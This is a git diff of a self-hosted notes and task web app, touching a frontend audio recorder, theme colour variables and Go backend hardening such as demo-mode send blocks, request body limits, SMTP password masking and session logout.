this.recorder.stop();
|
||||
});
|
||||
}
|
||||
|
||||
/**
|
||||
* Stops the current MediaRecorder segment and immediately starts a new one on the same MediaStream.
|
||||
* Resolves with the finished segment's audio Blob while recording continues seamlessly.
|
||||
*/
|
||||
cutSegment(): Promise<Blob | null> {
|
||||
if (!this.stream || !this.recorder || this.recorder.state === 'inactive') {
|
||||
return Promise.resolve(null);
|
||||
}
|
||||
const oldRecorder = this.recorder;
|
||||
const oldChunks = this.chunks;
|
||||
|
||||
this.startSegmentRecorder();
|
||||
|
||||
return new Promise((resolve) => {
|
||||
oldRecorder.onstop = () => {
|
||||
const blob = oldChunks.length
|
||||
? new Blob(oldChunks, { type: oldRecorder.mimeType || 'audio/webm' })
|
||||
: null;
|
||||
resolve(blob);
|
||||
};
|
||||
oldRecorder.stop();
|
||||
});
|
||||
}
|
||||
|
||||
cancel(): void {
|
||||
this.done = null;
|
||||
if (this.recorder && this.recorder.state !== 'inactive') {
|
||||
this.recorder.onstop = () => this.release();
|
||||
this.recorder.stop();
|
||||
} else {
|
||||
this.release();
|
||||
}
|
||||
}
|
||||
|
||||
private release(): void {
|
||||
this.stream?.getTracks().forEach((t) => t.stop());
|
||||
this.stream = null;
|
||||
void this.audioCtx?.close?.().catch(() => {});
|
||||
this.audioCtx = null;
|
||||
this.analyser = null;
|
||||
}
|
||||
}
|
||||
@@ -12,3 +12,10 @@ ReactDOM.createRoot(document.getElementById('root')!).render(
|
||||
</React.StrictMode>
|
||||
);
|
||||
|
||||
|
||||
// Service worker for the app shell (offline start, see public/sw.js)
|
||||
if ('serviceWorker' in navigator) {
|
||||
window.addEventListener('load', () => {
|
||||
navigator.serviceWorker.register('/sw.js').catch(() => {});
|
||||
});
|
||||
}
|
||||
@@ -53,4 +53,15 @@
|
||||
--radius-input: 2px;
|
||||
--radius-checkbox: 0px;
|
||||
--radius-pill: 9999px;
|
||||
|
||||
/* --- 7. CODE-SYNTAX-HIGHLIGHTING (VS Code Dark+) --- */
|
||||
--code-keyword: #569cd6;
|
||||
--code-string: #ce9178;
|
||||
--code-number: #b5cea8;
|
||||
--code-comment: #6a9955;
|
||||
--code-property: #9cdcfe;
|
||||
--code-function: #dcdcaa;
|
||||
--code-type: #4ec9b0;
|
||||
--code-punctuation: #d4d4d4;
|
||||
--code-variable: #9cdcfe;
|
||||
}
|
||||
@@ -52,4 +52,15 @@
|
||||
--radius-input: 0px;
|
||||
--radius-checkbox: 0px;
|
||||
--radius-pill: 0px;
|
||||
|
||||
/* --- 7. CODE-SYNTAX-HIGHLIGHTING (VS Code Dark+) --- */
|
||||
--code-keyword: #569cd6;
|
||||
--code-string: #ce9178;
|
||||
--code-number: #b5cea8;
|
||||
--code-comment: #6a9955;
|
||||
--code-property: #9cdcfe;
|
||||
--code-function: #dcdcaa;
|
||||
--code-type: #4ec9b0;
|
||||
--code-punctuation: #ffffff;
|
||||
--code-variable: #9cdcfe;
|
||||
}
|
||||
@@ -14,24 +14,24 @@
|
||||
/* --- 2. OBERFLÄCHEN & HINTERGRÜNDE --- */
|
||||
--bg-app: #f3f4f6;
|
||||
--bg-panel: #ffffff;
|
||||
--bg-panel-elevated: #ebedf0;
|
||||
--bg-panel-hover: #e2e5ea;
|
||||
--bg-panel-elevated: #e2e8f0;
|
||||
--bg-panel-hover: #cbd5e1;
|
||||
--bg-input: #ffffff;
|
||||
--bg-overlay: rgba(15, 23, 42, 0.45);
|
||||
--bg-code: #f1f5f9;
|
||||
--bg-code: #e2e8f0;
|
||||
|
||||
/* --- 3. TEXT & KONTRASTE --- */
|
||||
--text-main: #111827;
|
||||
--text-muted: #4b5563;
|
||||
--text-faint: #9ca3af;
|
||||
--text-muted: #374151;
|
||||
--text-faint: #6b7280;
|
||||
|
||||
/* --- 4. RAHMEN, LINIEN & SCHATTEN --- */
|
||||
--border-color: rgba(17, 24, 39, 0.13);
|
||||
--border-subtle: rgba(17, 24, 39, 0.06);
|
||||
--border-strong: rgba(17, 24, 39, 0.28);
|
||||
--border-color: rgba(17, 24, 39, 0.18);
|
||||
--border-subtle: rgba(17, 24, 39, 0.08);
|
||||
--border-strong: rgba(17, 24, 39, 0.32);
|
||||
--shadow-panel: 0 8px 24px rgba(15, 23, 42, 0.08);
|
||||
--scrollbar-thumb: rgba(17, 24, 39, 0.18);
|
||||
--scrollbar-thumb-hover: rgba(17, 24, 39, 0.32);
|
||||
--scrollbar-thumb: rgba(17, 24, 39, 0.22);
|
||||
--scrollbar-thumb-hover: rgba(17, 24, 39, 0.38);
|
||||
|
||||
/* --- 5. STATUS- & SIGNALFARBEN --- */
|
||||
--color-success: #15803d;
|
||||
@@ -52,4 +52,15 @@
|
||||
--radius-input: 2px;
|
||||
--radius-checkbox: 0px;
|
||||
--radius-pill: 9999px;
|
||||
|
||||
/* --- 7. CODE-SYNTAX-HIGHLIGHTING (VS Code Light+) --- */
|
||||
--code-keyword: #0000ff;
|
||||
--code-string: #a31515;
|
||||
--code-number: #098658;
|
||||
--code-comment: #007000;
|
||||
--code-property: #0451a5;
|
||||
--code-function: #795e26;
|
||||
--code-type: #267f99;
|
||||
--code-punctuation: #2e2e2e;
|
||||
--code-variable: #001080;
|
||||
}
|
||||
@@ -52,4 +52,15 @@
|
||||
--radius-input: 2px;
|
||||
--radius-checkbox: 0px;
|
||||
--radius-pill: 9999px;
|
||||
|
||||
/* --- 7. CODE-SYNTAX-HIGHLIGHTING (VS Code Dark+) --- */
|
||||
--code-keyword: #569cd6;
|
||||
--code-string: #ce9178;
|
||||
--code-number: #b5cea8;
|
||||
--code-comment: #6a9955;
|
||||
--code-property: #9cdcfe;
|
||||
--code-function: #dcdcaa;
|
||||
--code-type: #4ec9b0;
|
||||
--code-punctuation: #d4d4d4;
|
||||
--code-variable: #9cdcfe;
|
||||
}
|
||||
@@ -53,4 +53,15 @@
|
||||
--radius-input: 6px;
|
||||
--radius-checkbox: 4px;
|
||||
--radius-pill: 9999px;
|
||||
|
||||
/* --- 7. CODE-SYNTAX-HIGHLIGHTING (VS Code Dark+) --- */
|
||||
--code-keyword: #569cd6;
|
||||
--code-string: #ce9178;
|
||||
--code-number: #b5cea8;
|
||||
--code-comment: #6a9955;
|
||||
--code-property: #9cdcfe;
|
||||
--code-function: #dcdcaa;
|
||||
--code-type: #4ec9b0;
|
||||
--code-punctuation: #d4d4d4;
|
||||
--code-variable: #9cdcfe;
|
||||
}
|
||||
@@ -52,4 +52,15 @@
|
||||
--radius-input: 6px;
|
||||
--radius-checkbox: 4px;
|
||||
--radius-pill: 9999px;
|
||||
|
||||
/* --- 7. CODE-SYNTAX-HIGHLIGHTING (VS Code Dark+) --- */
|
||||
--code-keyword: #569cd6;
|
||||
--code-string: #ce9178;
|
||||
--code-number: #b5cea8;
|
||||
--code-comment: #6a9955;
|
||||
--code-property: #9cdcfe;
|
||||
--code-function: #dcdcaa;
|
||||
--code-type: #4ec9b0;
|
||||
--code-punctuation: #d4d4d4;
|
||||
--code-variable: #9cdcfe;
|
||||
}
|
||||
@@ -54,4 +54,15 @@
|
||||
--radius-input: 2px; /* Eingabefelder & Dropdowns */
|
||||
--radius-checkbox: 0px; /* Aufgaben-Checkboxen */
|
||||
--radius-pill: 9999px; /* Quick-Capture-Blase & Profil-Pill */
|
||||
|
||||
/* --- 7. CODE-SYNTAX-HIGHLIGHTING (VS Code Dark+ Standardwerte) --- */
|
||||
--code-keyword: #569cd6; /* Schlüsselwörter & Booleans */
|
||||
--code-string: #ce9178; /* Zeichenketten (Strings) */
|
||||
--code-number: #b5cea8; /* Zahlen & Konstanten */
|
||||
--code-comment: #6a9955; /* Kommentare */
|
||||
--code-property: #9cdcfe; /* Schlüssel (YAML/JSON Keys) & Attribute */
|
||||
--code-function: #dcdcaa; /* Funktionen & Methoden */
|
||||
--code-type: #4ec9b0; /* Typen & Klassen */
|
||||
--code-punctuation: #d4d4d4; /* Klammern, Operatoren & Satzzeichen */
|
||||
--code-variable: #9cdcfe; /* Variablen & Regex */
|
||||
}
|
||||
Vendored
+1
@@ -1 +1,2 @@
|
||||
/// <reference types="vite/client" />
|
||||
declare module 'prismjs/components/*';
|
||||
@@ -2,10 +2,10 @@ import { defineConfig } from 'vite';
|
||||
import react from '@vitejs/plugin-react';
|
||||
import { readFileSync } from 'node:fs';
|
||||
|
||||
// Shown in the header. Release builds get the git tag (APP_VERSION build argument, e.g. "v0.2");
|
||||
// other builds show the package version with a "-dev" suffix.
|
||||
// Shown in the header. Release builds get the git tag (APP_VERSION build argument, e.g. "v0.6.0");
|
||||
// other builds show the package version with a "-dev" suffix (Semantic Versioning, see CHANGELOG.md).
|
||||
const pkg = JSON.parse(readFileSync(new URL('./package.json', import.meta.url), 'utf8'));
|
||||
const appVersion = process.env.APP_VERSION || `v${pkg.version.replace(/\.0$/, '')}-dev`;
|
||||
const appVersion = process.env.APP_VERSION || `v${pkg.version}-dev`;
|
||||
|
||||
export default defineConfig({
|
||||
plugins: [react()],
|
||||
|
||||
+36
-1
@@ -13,11 +13,19 @@ import (
|
||||
// --- MULTI-CHANNEL ALARM DISPATCHER (EMAIL, DISCORD, CUSTOM WEBHOOK) ---
|
||||
|
||||
func (s *Server) sendEmailNotification(toEmail, subject, bodyText string) error {
|
||||
return s.sendEmailHTML(toEmail, subject, bodyText, "")
|
||||
}
|
||||
|
||||
// sendEmailHTML sends text plus an optional HTML version (multipart/alternative).
|
||||
func (s *Server) sendEmailHTML(toEmail, subject, bodyText, html string) error {
|
||||
if s.cfg.DemoMode {
|
||||
return errDemoOutgoing
|
||||
}
|
||||
cfg, err := s.smtpSettings()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if err := sendMail(cfg, toEmail, subject, bodyText); err != nil {
|
||||
if err := sendMail(cfg, toEmail, subject, bodyText, html); err != nil {
|
||||
step := ""
|
||||
if se, ok := err.(*smtpStepError); ok {
|
||||
step = se.Step
|
||||
@@ -29,6 +37,9 @@ func (s *Server) sendEmailNotification(toEmail, subject, bodyText string) error
|
||||
}
|
||||
|
||||
func (s *Server) sendDiscordNotification(webhookURL, title, description, dueDate, priority string) error {
|
||||
if s.cfg.DemoMode {
|
||||
return errDemoOutgoing
|
||||
}
|
||||
allowPrivate := s.allowPrivateWebhooks()
|
||||
if err := validateWebhookURL(webhookURL, true, allowPrivate); err != nil {
|
||||
return err
|
||||
@@ -63,6 +74,9 @@ func (s *Server) sendDiscordNotification(webhookURL, title, description, dueDate
|
||||
}
|
||||
|
||||
func (s *Server) sendCustomWebhookNotification(webhookURL, event, title, notes, dueDate, priority string) error {
|
||||
if s.cfg.DemoMode {
|
||||
return errDemoOutgoing
|
||||
}
|
||||
allowPrivate := s.allowPrivateWebhooks()
|
||||
if err := validateWebhookURL(webhookURL, false, allowPrivate); err != nil {
|
||||
return err
|
||||
@@ -114,6 +128,27 @@ func (s *Server) startAlarmTicker() {
|
||||
if !alarmDue(a.DueDate, a.NotifyBeforeMinutes, now) {
|
||||
continue
|
||||
}
|
||||
// Channels come from the notification settings (row "due"); a pause holds the alarm back
|
||||
set := s.store.NotificationSettingsOf(a.UserID)
|
||||
if set.Paused {
|
||||
continue
|
||||
}
|
||||
channels := []string{}
|
||||
if set.Events.Due.Email {
|
||||
channels = append(channels, "email")
|
||||
}
|
||||
if set.Events.Due.Discord {
|
||||
channels = append(channels, "discord")
|
||||
}
|
||||
for _, ch := range a.AlarmChannels {
|
||||
if ch == "webhook" {
|
||||
channels = append(channels, "webhook")
|
||||
}
|
||||
}
|
||||
if a.AlarmEmail == "" {
|
||||
a.AlarmEmail = a.UserEmail
|
||||
}
|
||||
a.AlarmChannels = channels
|
||||
if len(a.AlarmChannels) == 0 {
|
||||
continue
|
||||
}
|
||||
|
||||
@@ -162,7 +162,21 @@ func serveBackupFile(w http.ResponseWriter, r *http.Request, dir, name, contentT
|
||||
writeError(w, http.StatusNotFound, err.Error())
|
||||
return
|
||||
}
|
||||
allowLongTransfer(w)
|
||||
w.Header().Set("Content-Type", contentType)
|
||||
w.Header().Set("Content-Disposition", fmt.Sprintf(`attachment; filename="%s"`, name))
|
||||
http.ServeFile(w, r, path)
|
||||
}
|
||||
|
||||
// removeUserBackups deletes the server backups of a deleted account (FLAW-37). The system snapshots
|
||||
// still contain it until they expire (BACKUP retention).
|
||||
func (s *Server) removeUserBackups(userID string) {
|
||||
dir := storage.UserBackupDir(s.backupRoot(), userID)
|
||||
// Only ever one user's own folder, never backups/users itself (IDs like "." or "/")
|
||||
if base := filepath.Base(dir); userID == "" || base == "." || base == "users" || filepath.Dir(dir) != filepath.Join(s.backupRoot(), "users") {
|
||||
return
|
||||
}
|
||||
if err := os.RemoveAll(dir); err != nil {
|
||||
slog.Warn("Backups des gelöschten Kontos konnten nicht entfernt werden", "user_id", userID, "error", err)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,46 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"net/http"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/sandrodach/mindsift/internal/storage"
|
||||
)
|
||||
|
||||
// Request bodies are capped for every endpoint (FLAW-36), so a session or API key cannot tie up memory
|
||||
// with huge uploads. Note sync and imports need more; their handlers apply the same limits again.
|
||||
const defaultMaxBody = 2 << 20
|
||||
|
||||
func (s *Server) bodyLimitFor(path string) int64 {
|
||||
switch {
|
||||
case strings.HasPrefix(path, "/api/v1/documents/") && strings.HasSuffix(path, "/media"):
|
||||
return s.mediaUploadLimit()
|
||||
case path == "/api/v1/voice/transcribe":
|
||||
return int64(s.cfg.Speech.MaxUploadMB)<<20 + 1<<20
|
||||
case strings.HasPrefix(path, "/api/v1/import/"):
|
||||
return storage.MaxImportUploadBytes + 1<<20
|
||||
case strings.HasPrefix(path, "/api/v1/docs/") && strings.HasSuffix(path, "/sync"):
|
||||
return syncMaxBody
|
||||
}
|
||||
return defaultMaxBody
|
||||
}
|
||||
|
||||
func (s *Server) bodyLimit(next http.Handler) http.Handler {
|
||||
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
if r.Body != nil && r.Body != http.NoBody {
|
||||
r.Body = http.MaxBytesReader(w, r.Body, s.bodyLimitFor(r.URL.Path))
|
||||
}
|
||||
next.ServeHTTP(w, r)
|
||||
})
|
||||
}
|
||||
|
||||
// The server gives every request 15 s to send its body and 30 s for the answer. Whole archives on a slow
|
||||
// line need longer: downloads of backups and exports, uploads of imports (FLAW-38).
|
||||
const longTransferTime = 30 * time.Minute
|
||||
|
||||
func allowLongTransfer(w http.ResponseWriter) {
|
||||
rc := http.NewResponseController(w)
|
||||
_ = rc.SetWriteDeadline(time.Now().Add(longTransferTime))
|
||||
_ = rc.SetReadDeadline(time.Now().Add(longTransferTime))
|
||||
}
|
||||
@@ -0,0 +1,30 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"net/http"
|
||||
"strings"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestRequestBodyLimited(t *testing.T) {
|
||||
srv, _, token := setupTestServer(t)
|
||||
router := srv.Router()
|
||||
huge := `{"content":"` + strings.Repeat("x", defaultMaxBody) + `"}`
|
||||
if rec := sessionCall(router, "POST", "/api/v1/inbox", token, huge, ""); rec.Code != http.StatusBadRequest && rec.Code != http.StatusRequestEntityTooLarge {
|
||||
t.Fatalf("body over the limit: want 400/413, got %d", rec.Code)
|
||||
}
|
||||
if rec := sessionCall(router, "POST", "/api/v1/inbox", token, `{"content":"klein"}`, ""); rec.Code >= 300 {
|
||||
t.Fatalf("normal body: got %d %s", rec.Code, rec.Body.String())
|
||||
}
|
||||
if srv.bodyLimitFor("/api/v1/docs/doc_1/sync") != syncMaxBody || srv.bodyLimitFor("/api/v1/import/obsidian") <= defaultMaxBody {
|
||||
t.Fatal("sync and import keep their larger limits")
|
||||
}
|
||||
}
|
||||
|
||||
func TestWebhookTokenInURLOnlyAPIKey(t *testing.T) {
|
||||
srv, _, token := setupTestServer(t)
|
||||
rec := sessionCall(srv.Router(), "POST", "/api/v1/webhooks/ingest?token="+token, "", `{"text":"x"}`, "")
|
||||
if rec.Code != http.StatusUnauthorized {
|
||||
t.Fatalf("session token in URL: want 401, got %d", rec.Code)
|
||||
}
|
||||
}
|
||||
@@ -1,8 +1,10 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"log/slog"
|
||||
"net/http"
|
||||
"os"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
@@ -58,6 +60,8 @@ func (s *Server) setDemoNextReset(t time.Time) {
|
||||
func (s *Server) resetDemo() {
|
||||
s.demo.gate.Lock()
|
||||
err := s.store.ResetAndSeedDemo()
|
||||
// Uploaded images and recordings belong to the old state; their rows are gone with the tables
|
||||
_ = os.RemoveAll(s.mediaRoot())
|
||||
s.demo.gate.Unlock()
|
||||
if err != nil {
|
||||
slog.Error("Demo-Reset fehlgeschlagen", "error", err)
|
||||
@@ -75,3 +79,18 @@ func (s *Server) startDemoResetTicker() {
|
||||
s.resetDemo()
|
||||
}
|
||||
}
|
||||
|
||||
// A public demo must not send anything to the outside (FLAW-33): no alarm mails, Discord or webhook
|
||||
// calls, no test messages. The senders refuse, and the routes that only exist to send or to change
|
||||
// server settings answer with 403 right away. All visitors share the demo accounts, so whatever
|
||||
// would lock the others out (passwords, ending sessions, deleting accounts) is refused as well.
|
||||
var errDemoOutgoing = errors.New("In der Demo deaktiviert")
|
||||
|
||||
func (s *Server) notInDemo(h http.HandlerFunc) http.HandlerFunc {
|
||||
if !s.cfg.DemoMode {
|
||||
return h
|
||||
}
|
||||
return func(w http.ResponseWriter, r *http.Request) {
|
||||
writeError(w, http.StatusForbidden, "In der Demo deaktiviert")
|
||||
}
|
||||
}
|
||||
@@ -270,6 +270,8 @@ func (s *Server) startCompaction() {
|
||||
|
||||
func (s *Server) compactOnce() {
|
||||
s.leases.Sweep()
|
||||
s.compactMedia(time.Now())
|
||||
_ = s.store.PruneLinkPreviews(time.Now().Add(-30 * 24 * time.Hour))
|
||||
st, err := s.store.CompactDocs(time.Now())
|
||||
if err != nil {
|
||||
slog.Error("Verdichtung des Änderungsprotokolls fehlgeschlagen", "error", err)
|
||||
|
||||
@@ -135,6 +135,7 @@ func (s *Server) handleImportObsidian(w http.ResponseWriter, r *http.Request) {
|
||||
// handleExportMarkdown streams an Obsidian-compatible ZIP of the user's workspace (no temp files).
|
||||
func (s *Server) handleExportMarkdown(w http.ResponseWriter, r *http.Request) {
|
||||
userID := auth.GetUserID(r.Context())
|
||||
allowLongTransfer(w)
|
||||
w.Header().Set("Content-Type", "application/zip")
|
||||
w.Header().Set("Content-Disposition", fmt.Sprintf(`attachment; filename="mindsift-vault-%s.zip"`, time.Now().Format("2006-01-02")))
|
||||
if err := s.store.WriteMarkdownVault(userID, w); err != nil {
|
||||
@@ -145,6 +146,7 @@ func (s *Server) handleExportMarkdown(w http.ResponseWriter, r *http.Request) {
|
||||
|
||||
func (s *Server) handleExport(w http.ResponseWriter, r *http.Request) {
|
||||
userID := auth.GetUserID(r.Context())
|
||||
allowLongTransfer(w)
|
||||
exportData, err := s.store.ExportUserData(userID)
|
||||
if err != nil {
|
||||
writeError(w, http.StatusInternalServerError, err.Error())
|
||||
@@ -154,7 +156,7 @@ func (s *Server) handleExport(w http.ResponseWriter, r *http.Request) {
|
||||
if r.URL.Query().Get("format") == "zip" {
|
||||
w.Header().Set("Content-Type", "application/zip")
|
||||
w.Header().Set("Content-Disposition", fmt.Sprintf(`attachment; filename="mindsift-backup-%s.zip"`, time.Now().Format("2006-01-02")))
|
||||
if err := storage.WriteBackupZip(exportData, w); err != nil {
|
||||
if err := s.store.WriteBackupZip(userID, exportData, w); err != nil {
|
||||
slog.Error("Backup-Export fehlgeschlagen", "user_id", userID, "error", err)
|
||||
}
|
||||
return
|
||||
|
||||
@@ -246,6 +246,7 @@ func (s *Server) handleAdminDeleteUser(w http.ResponseWriter, r *http.Request) {
|
||||
writeError(w, http.StatusInternalServerError, err.Error())
|
||||
return
|
||||
}
|
||||
s.removeUserBackups(targetUserID)
|
||||
writeJSON(w, http.StatusOK, map[string]bool{"deleted": true})
|
||||
}
|
||||
|
||||
@@ -302,8 +303,16 @@ func (s *Server) handleAdminGetSettings(w http.ResponseWriter, r *http.Request)
|
||||
writeError(w, http.StatusInternalServerError, err.Error())
|
||||
return
|
||||
}
|
||||
settings.SMTPConfiguredViaEnv = strings.TrimSpace(s.cfg.SMTPHost) != ""
|
||||
writeJSON(w, http.StatusOK, settings)
|
||||
writeJSON(w, http.StatusOK, s.settingsForBrowser(settings))
|
||||
}
|
||||
|
||||
// settingsForBrowser hides the SMTP password; the admin only sees whether one is stored.
|
||||
func (s *Server) settingsForBrowser(settings *domain.SystemSettings) *domain.SystemSettings {
|
||||
out := *settings
|
||||
out.SMTPPassSet = out.SMTPPass != ""
|
||||
out.SMTPPass = ""
|
||||
out.SMTPConfiguredViaEnv = strings.TrimSpace(s.cfg.SMTPHost) != ""
|
||||
return &out
|
||||
}
|
||||
|
||||
func (s *Server) handleAdminUpdateSettings(w http.ResponseWriter, r *http.Request) {
|
||||
@@ -312,6 +321,12 @@ func (s *Server) handleAdminUpdateSettings(w http.ResponseWriter, r *http.Reques
|
||||
writeError(w, http.StatusBadRequest, "Ungültiges JSON")
|
||||
return
|
||||
}
|
||||
// Empty means unchanged (the browser never has it); without SMTP user the password goes too
|
||||
if settings.SMTPPass == "" && strings.TrimSpace(settings.SMTPUser) != "" {
|
||||
if cur, err := s.store.GetSystemSettings(); err == nil {
|
||||
settings.SMTPPass = cur.SMTPPass
|
||||
}
|
||||
}
|
||||
previousMode := s.store.SharingMode()
|
||||
if err := s.store.UpdateSystemSettings(&settings); err != nil {
|
||||
writeError(w, http.StatusInternalServerError, err.Error())
|
||||
@@ -324,8 +339,7 @@ func (s *Server) handleAdminUpdateSettings(w http.ResponseWriter, r *http.Reques
|
||||
return
|
||||
}
|
||||
}
|
||||
settings.SMTPConfiguredViaEnv = strings.TrimSpace(s.cfg.SMTPHost) != ""
|
||||
writeJSON(w, http.StatusOK, settings)
|
||||
writeJSON(w, http.StatusOK, s.settingsForBrowser(&settings))
|
||||
}
|
||||
|
||||
func (s *Server) handleAdminTestSMTP(w http.ResponseWriter, r *http.Request) {
|
||||
|
||||
+107
-17
@@ -44,6 +44,8 @@ func (s *Server) handleAuthStatus(w http.ResponseWriter, r *http.Request) {
|
||||
"demoMode": s.cfg.DemoMode,
|
||||
"sharingMode": s.store.SharingMode(),
|
||||
"passwordReset": s.passwordResetAvailable(),
|
||||
// How voice input works: "server" (own Whisper), "browser" or "off"; set by STT_* only
|
||||
"voice": map[string]interface{}{"mode": s.voiceMode(), "maxSeconds": s.cfg.Speech.MaxSeconds},
|
||||
// Public so the login screen can link Impressum and Datenschutz
|
||||
"legal": map[string]interface{}{
|
||||
"imprintUrl": s.cfg.Legal.ImprintURL,
|
||||
@@ -145,7 +147,7 @@ func (s *Server) handleFirstBootSetup(w http.ResponseWriter, r *http.Request) {
|
||||
_ = s.store.SeedStarterContent(user)
|
||||
}
|
||||
|
||||
token, err := auth.GenerateToken(s.cfg.JWTSecret, user.ID, user.Email, user.DisplayName, user.TokenVersion)
|
||||
token, err := s.startSession(r, user)
|
||||
if err != nil {
|
||||
writeError(w, http.StatusInternalServerError, "Token konnte nicht erstellt werden")
|
||||
return
|
||||
@@ -168,6 +170,10 @@ func (s *Server) handleRegister(w http.ResponseWriter, r *http.Request) {
|
||||
writeError(w, http.StatusBadRequest, "Ungültige Anfrage")
|
||||
return
|
||||
}
|
||||
if wait := s.loginGuard.throttle("register", clientIPFrom(r), limitRegisterPerIP); wait > 0 {
|
||||
writeThrottled(w, wait)
|
||||
return
|
||||
}
|
||||
if strings.TrimSpace(req.Email) == "" {
|
||||
writeError(w, http.StatusBadRequest, "E-Mail-Adresse erforderlich")
|
||||
return
|
||||
@@ -212,15 +218,26 @@ func (s *Server) handleRegister(w http.ResponseWriter, r *http.Request) {
|
||||
return
|
||||
}
|
||||
|
||||
// The invite is claimed before the account exists, so it cannot be redeemed twice at once
|
||||
var claim string
|
||||
if validInvite != nil {
|
||||
if claim, err = s.store.ClaimUserInvite(validInvite.ID); err != nil {
|
||||
writeError(w, http.StatusForbidden, err.Error())
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
user, err := s.store.CreateUser(req.Email, hash, req.DisplayName, role)
|
||||
if err != nil {
|
||||
if validInvite != nil {
|
||||
s.store.ReleaseUserInvite(validInvite.ID, claim)
|
||||
}
|
||||
writeError(w, http.StatusConflict, "E-Mail-Adresse existiert bereits")
|
||||
return
|
||||
}
|
||||
|
||||
if validInvite != nil {
|
||||
// Otherwise the code could be used again
|
||||
if err := s.store.MarkUserInviteUsed(validInvite.ID, user.ID); err != nil {
|
||||
if err := s.store.FinishUserInvite(validInvite.ID, claim, user.ID); err != nil {
|
||||
slog.Error("Einladungscode konnte nicht als benutzt markiert werden", "invite", validInvite.ID, "error", err)
|
||||
}
|
||||
if validInvite.OrganizationID != "" {
|
||||
@@ -229,7 +246,7 @@ func (s *Server) handleRegister(w http.ResponseWriter, r *http.Request) {
|
||||
}
|
||||
}
|
||||
|
||||
token, err := auth.GenerateToken(s.cfg.JWTSecret, user.ID, user.Email, user.DisplayName, user.TokenVersion)
|
||||
token, err := s.startSession(r, user)
|
||||
if err != nil {
|
||||
writeError(w, http.StatusInternalServerError, "Token konnte nicht erstellt werden")
|
||||
return
|
||||
@@ -297,7 +314,7 @@ func (s *Server) handleLogin(w http.ResponseWriter, r *http.Request) {
|
||||
return
|
||||
}
|
||||
|
||||
token, err := auth.GenerateToken(s.cfg.JWTSecret, user.ID, user.Email, user.DisplayName, user.TokenVersion)
|
||||
token, err := s.startSession(r, user)
|
||||
if err != nil {
|
||||
slog.Error("Login-Token konnte nicht erstellt werden", "login", identifier, "user_id", user.ID, "error", err)
|
||||
writeError(w, http.StatusInternalServerError, "Token konnte nicht erstellt werden")
|
||||
@@ -324,6 +341,8 @@ func (s *Server) handleMe(w http.ResponseWriter, r *http.Request) {
|
||||
return
|
||||
}
|
||||
stats, _ := s.store.GetDashboardStats(userID)
|
||||
ns := s.store.NotificationSettingsOf(userID)
|
||||
user.NotificationSettings = &ns
|
||||
writeJSON(w, http.StatusOK, map[string]interface{}{
|
||||
"user": user,
|
||||
"stats": stats,
|
||||
@@ -370,12 +389,14 @@ func (s *Server) handleDeleteOwnAccount(w http.ResponseWriter, r *http.Request)
|
||||
writeError(w, status, err.Error())
|
||||
return
|
||||
}
|
||||
s.removeUserBackups(user.ID)
|
||||
slog.Info("Benutzer hat sein Konto gelöscht", "user_id", user.ID)
|
||||
writeJSON(w, http.StatusOK, map[string]bool{"deleted": true})
|
||||
}
|
||||
|
||||
// importUpload reads the multipart field "file" (max. storage.MaxImportUploadBytes).
|
||||
func importUpload(w http.ResponseWriter, r *http.Request) ([]byte, string, error) {
|
||||
allowLongTransfer(w)
|
||||
r.Body = http.MaxBytesReader(w, r.Body, storage.MaxImportUploadBytes+1<<20)
|
||||
file, header, err := r.FormFile("file")
|
||||
if err != nil {
|
||||
@@ -393,23 +414,13 @@ func importUpload(w http.ResponseWriter, r *http.Request) ([]byte, string, error
|
||||
|
||||
func (s *Server) handleLogout(w http.ResponseWriter, r *http.Request) {
|
||||
userID := auth.GetUserID(r.Context())
|
||||
authHeader := r.Header.Get("Authorization")
|
||||
if strings.HasPrefix(authHeader, "Bearer ") {
|
||||
tokenStr := strings.TrimPrefix(authHeader, "Bearer ")
|
||||
if claims, err := auth.ValidateToken(s.cfg.JWTSecret, tokenStr); err == nil && claims != nil {
|
||||
var exp time.Time
|
||||
if claims.ExpiresAt != nil {
|
||||
exp = claims.ExpiresAt.Time
|
||||
} else {
|
||||
exp = time.Now().Add(30 * 24 * time.Hour)
|
||||
}
|
||||
// The session must really end; the client is told if it did not
|
||||
if err := s.store.RevokeToken(tokenStr, userID, exp); err != nil {
|
||||
if sid := sessionIDFrom(r); sid != "" {
|
||||
if err := s.store.RevokeSession(userID, sid); err != nil && !errors.Is(err, storage.ErrSessionNotFound) {
|
||||
writeError(w, http.StatusInternalServerError, "Abmelden fehlgeschlagen")
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
// Streams are not tied to one session; other devices reconnect with a new ticket on their own
|
||||
s.wsHub.DisconnectUser(userID)
|
||||
writeJSON(w, http.StatusOK, map[string]bool{"success": true})
|
||||
@@ -437,11 +448,29 @@ func (s *Server) handleUpdateUserSettings(w http.ResponseWriter, r *http.Request
|
||||
DiscordWebhookURL *string `json:"discordWebhookUrl"`
|
||||
CustomWebhookURL *string `json:"customWebhookUrl"`
|
||||
NotifyBeforeMinutes *int `json:"notifyBeforeMinutes"`
|
||||
// Needed to change password or e-mail address (FLAW-30)
|
||||
CurrentPassword string `json:"currentPassword"`
|
||||
// Which notifications go where (notify.go)
|
||||
NotificationSettings *domain.NotificationSettings `json:"notificationSettings"`
|
||||
}
|
||||
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
|
||||
writeError(w, http.StatusBadRequest, "Ungültiges JSON")
|
||||
return
|
||||
}
|
||||
before, err := s.store.GetUserByID(userID)
|
||||
if err != nil || before == nil {
|
||||
writeError(w, http.StatusNotFound, "Benutzer nicht gefunden")
|
||||
return
|
||||
}
|
||||
changesPassword := req.Password != nil && strings.TrimSpace(*req.Password) != ""
|
||||
changesEmail := req.Email != nil && !strings.EqualFold(strings.TrimSpace(*req.Email), before.Email)
|
||||
if (changesPassword || changesEmail) && s.cfg.DemoMode {
|
||||
writeError(w, http.StatusForbidden, "In der Demo deaktiviert")
|
||||
return
|
||||
}
|
||||
if (changesPassword || changesEmail) && !s.checkCurrentPassword(w, r, before, req.CurrentPassword) {
